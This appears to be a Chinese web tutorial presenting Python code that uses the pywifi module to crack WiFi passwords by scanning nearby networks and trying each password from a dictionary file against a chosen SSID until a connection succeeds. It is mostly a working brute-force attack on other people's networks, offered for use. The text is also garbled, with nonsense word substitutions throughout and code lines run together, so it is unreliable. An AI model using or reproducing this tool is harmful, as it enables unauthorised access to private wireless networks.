如今每个家庭都有WiFi!大家都认为为了防止他人蹭WiFi明码设置复杂一点,万能钥匙就破解不了!当天给大家看看python工程师是怎样破解WiFi明码的!当天应用python中的pywifi模块来写这个程序!上教程
一、失掉明码文件的门路
self.get_value = StringVar()
二、失掉WiFi账号
self.get_wifi_value = StringVar()
三、失掉WiFi明码
self.get_wifimm_value = StringVar()
四、抓取网卡接口
self.wifi = pywifi.PyWiFi()
五、抓取第一个无线网卡
self.iface = self.wifi.interfaces()[0]
六、测试衔接断开一切网址
self.iface.disconnect()
七、测试网卡能否属于断开形态
assert self.iface.status() in[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
八、智能会调用的函数,前往自身的网卡
return ‘(WIFI:%s,%s)’ % (self.wifi,self.iface.name())
九、搜查WiFi
#开局扫描print(“^_^ 开局扫描左近wifi…”)self.iface.scan()time.sleep(15)#在若干秒后失掉扫描结果scanres = self.iface.scan_results()#统计左近被发现的热点数量nums = len(scanres)print(“数量: %s”%(nums))#print (“| %s | %s | %s | %s”%(“WIFIID”,”SSID”,”BSSID”,”signal”))# 实践数据self.show_scans_wifi_list(scanres)return scanres
十、减少明码文件目录
self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)
十一、Treeview绑定事情
self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,”values”)[1])#print(“you clicked on”,self.wifi_tree.item(self.sels,”values”)[1])
十二、读取明码字典,启动婚配
def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander=open(self.getFilePath,”r”,errors=”ignore”)while True:try:self.pwdStr=pwdfilehander.readline()if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = “===正确=== wifi名:%s 婚配明码:%s “%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo(‘揭示’, ‘破解完成!!!’)
print(self.res)breakelse:self.res = “—失误— wifi名:%s婚配明码:%s”%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue
十三、对wifi和明码启动婚配
#创立wifi网址文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi称号self.profile.auth = const.AUTH_ALG_OPEN #网卡的开明self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元self.profile.key = pwd_Str #明码
self.iface.remove_all_network_profiles() #删除一切的wifi文件
self.tmp_profile =self.iface.add_network_profile(self.profile)#设定新的网址文件
self.iface.connect(self.tmp_profile)#网址time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判别能否衔接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #断开time.sleep(1)#审核断开形态assert self.iface.status() in[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK
运转结果
本站内容来源于网络,如不慎侵犯了您的权益,请联系我们将迅速删除。